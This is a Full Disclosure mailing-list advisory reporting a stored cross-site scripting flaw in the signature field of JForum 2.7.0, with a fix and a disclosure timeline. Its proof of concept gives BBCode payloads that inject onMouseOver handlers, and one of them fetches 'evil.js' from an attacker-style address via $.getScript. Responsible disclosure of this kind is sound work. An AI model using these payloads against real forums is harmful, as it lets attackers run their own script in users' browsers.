

[Hash Suite: Windows password security audit tool, GUI, reports in PDF](#)


[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Thu, 2 Sep 2021 16:55:24 +0800  
From: kun song <songkun2008@...il.com>  
To: fulldisclosure@...lists.org  
Subject: [FD] a xss vulnerability in Jforum 2.7.0

hi,

I found a vulnerability in the jforum 2.7.0. It is a storage cross site script vulnerability. The place is the user's profile - signature. The technique of the vulnerability is the same as that described in this article "STORED CROSS SITE SCRIPTING IN BBCode" (<https://mindedsecurity.com/advisories/msa130510/>), and the POC is:

```
color tag:
[color=red" onMouseOver="alert('xss')]XSS[/color]
[color=red" onMouseOver="$.getScript('http://192.168.45.148:8080/evil.js')
;"]XSS[/color]
Renders into HTML:
<font onMouseover="alert('xss')" color="red">XSS</font>
<font onMouseover="$.getScript('http://192.168.45.148:8080/evil.js');"
color="red">XSS</font>
```

```
img tag:

Renders into HTML:

```

```
url= tag:
[url='http://www.demo.com' onMouseOver="alert('xss')]test[/url]
Renders into HTML:
<a class="snap_shots" href="http://www.demo.com" onMouseover="alert('xss')"
target="_blank">test</a>
```

through analysis, the forum has set the cookie to http-only, but the attacker can use the \$.getScript to do some evil things.

this vulnerability has been fixed in  
<https://sourceforge.net/p/jforum2/code/934/> .

timeline:  
2021-04-21 announce the developer of Jforum by e-mail  
2021-04-22 Jforum fixed the vulnerability, and will include this fix in next release  
2021-09-02 send this mail to bugtraq&fulldisclosure

---

Sent through the Full Disclosure mailing list  
<https://nmap.org/mailman/listinfo/fulldisclosure>  
Web Archives & RSS: <http://seclists.org/fulldisclosure/>

Powered by blists - [more mailing lists](#)

